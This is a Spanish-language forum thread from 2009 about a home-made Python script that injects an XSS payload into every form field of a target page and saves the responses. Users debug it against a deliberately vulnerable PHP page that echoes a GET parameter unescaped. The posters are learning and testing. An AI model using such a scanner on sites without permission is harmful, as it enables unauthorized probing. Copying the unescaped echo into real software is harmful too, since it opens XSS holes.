Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: [python] Herramienta (bastante precaria) para XSS (Leído 2,552 veces)
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando. Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable. #!/usr/bin/python import urllib2,urllib,sys,string from HTMLParser import HTMLParser class parsearhtml(HTMLParser): formactual = -1 atributosform = [] atributosinput = [] def handle_starttag(self, tag, attrs): atributosform = {} atributosinput = {} if tag=="form": for i in range(len(attrs)): atributosform[attrs[i][0]] = attrs[i][1] self.atributosform.append(atributosform) self.atributosinput.append([]) self.formactual+=1 if tag=="input": for i in range(len(attrs)): atributosinput[attrs[i][0]] = attrs[i][1] self.atributosinput[self.formactual].append(atributosinput) def obtenerhost(url): #Funcion que obtiene el host if url[0:7]=='http://': return url[0:url[7:].find('/')+7] if url[0:8]=='https://': return url[0:url[8:].find('/')+8] return url def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo... i = len(url)-1 while i!=0: if url[i]=='/': return url[:i+1] i-=1 return url def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables global host,carpeta if action.find('http://')!=-1 or action.find('https://')!=-1: return action if action[0]=='/': return host+action else : return carpeta+action url = sys.argv[1] host = obtenerhost(url) carpeta = obtenercarpeta(url) #Variables de localizacion useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5" cabeceras = { "User-Agent" : useragent } code = urllib2.urlopen(url).read() print "Codigo de la pagina obtenido ..." try : parser = parsearhtml() parser.feed(code) # Ha recogido todos los forms y los inputs except : print "Hubo un error parseando el HTML" #Ya tengo todos los datos necesarios print "Datos obtenidos ..." payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS atributosform = parser.atributosform atributosinput = parser.atributosinput if len(atributosform)==0: print "No se encontraron forms" for indice in range(len(atributosform)): #Se obtiene la direccion a la que mandar los datos print "Obteniendo direccion a la que mandar los datos... " if atributosform[indice].has_key('action'): urlamandar = obtenerruta(atributosform[indice]['action']) else: urlamandar = url #Se empiezan a rellenar las variables con los payloads correspondientes... maliciousdata = {} print "Rellenando con los payloads las variables ..." for varinput in atributosinput[indice]: if varinput.has_key('name'): maliciousdata[varinput['name']] = payloads[1] maliciousdata = urllib.urlencode(maliciousdata) req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras) codeinfectado = urllib2.urlopen(req).read() print "Escribiendo el archivo ",str(indice)+".html" resultado = open(str(indice)+'.html','w') resultado.write(codeinfectado) Le podéis modificar facilmente el user-agent y el payload. Uso : python xss.py http://localhost/xss.php
|
|
|
|
« Última modificación: 7 Diciembre 2009, 21:20 por braulio23 »
|
En línea
|
|
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
python xss.py http://localhost/index.php File "xss.py", line 23 return url[0:url[7:].find('/') 7] ^ SyntaxError: invalid syntax algo anda mal o soy yo? :S
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
python xss.py http://localhost/index.php File "xss.py", line 23 return url[0:url[7:].find('/') 7] ^ SyntaxError: invalid syntax algo anda mal o soy yo? :S Ya lo he modificado y debería funcionar, misteriosamente no se copiaron algunos símbolos. 
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
ei braulio23! no se si es a mi solo, pero la resolución de nombres no funciona del todo bien: -no funciona con "localhost" hay que poner "127.0.0.1". Por otra parte... la página que te guarda 0.html, que se supone que es? el formulario guardado o el supuesto resultado de la inyeccion del payload? Esque al abrirlo es tal cual el codigo en "html" de la web que introduje, pero claro... al tratarse de un .php solo obtiene ese código ( el html ), no se, algo falla braulio! jajaja 
|
|
|
|
« Última modificación: 7 Diciembre 2009, 22:30 por tragantras »
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
A mi la resolución de nombres si me funciona. El resultado 0.html es lo que devolvió la web cuando se mandaron las variables con los payloads.
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
y no debería devolver el alert que le metes en el payload ( por ejemplo ) por defecto?
es que me devuelve el formulario tal cual...
Un saludo!
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Pero hiciste que ese formulario fuera vulnerable?
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
claro, si lo es, por si acaso te adjunto el codigo, pero que si, k si lo es xD un saludo! pD: lo k se escribe en el 0.html es el codigo en html del index.php <?php if(isset($_GET["var"])){ echo "has escrito: ".$_GET["var"]; } ?> <HTML> <HEAD> <TITLE>Vulnerabilidad XSS</TITLE> </HEAD> <BODY> <h1> FORMULARIO DE ENVIO DEL XSS </h1> <BR>
<FORM METHOD="get" ACTION="index.php"> <INPUT TYPE="text" NAME="var"> <INPUT TYPE="submit" VALUE="enviar">
</FORM> </BODY> </HTML>
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Vale, no funciona por el método GET. Cuando tenga tiempo lo implanto. Gracias por probarlo y lamento que no funcione.
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Te recomendare eso: Mayormente los formularios se envian por POST, algunos por GET claro, lo que puedes hacer es extraer mediante una exprecion regular y verificar como se envia la peticion en el Formulario luego con una condicional if, captura la rexep y con el if lo comparas y hases la peticion que tiene el formulario... Saludos.
Otra cosa, esto no puede ser llamdo una herramienta, una herramienta es algo que te facilita hacer algo, en cambio aqui no te facilita mucho ya que tienes que editar tu code, y si no sabes python la jodes ps xD. Tampoco tienes una verificacion si todo se ah completado correctamente... podes hacer otra peticion con un javascript que escriba algo en el codigo de fuente y con una regexp puede verificar que ese algo exista.
Saludos, todo es para mejorar.
|
|
|
|
« Última modificación: 8 Diciembre 2009, 18:44 por yoyahack »
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
no tienes porque saber python, lo unico k tienes k modificar es el payload, que está codeado en javascript! un saludo 
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
haber, son recomendaciones, primero leer y luego responder una respuesta adecuada...
Saludos.
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
haber, son recomendaciones, primero leer y luego responder una respuesta adecuada...
Saludos.
ñañañaña yo esk soy el defensor de braulio! jajaja  por cierto "a ver" del verbo veeeer  pd: con amor y sin odio, por cierto.
|
|
|
|
|
En línea
|
|
|
|
|
|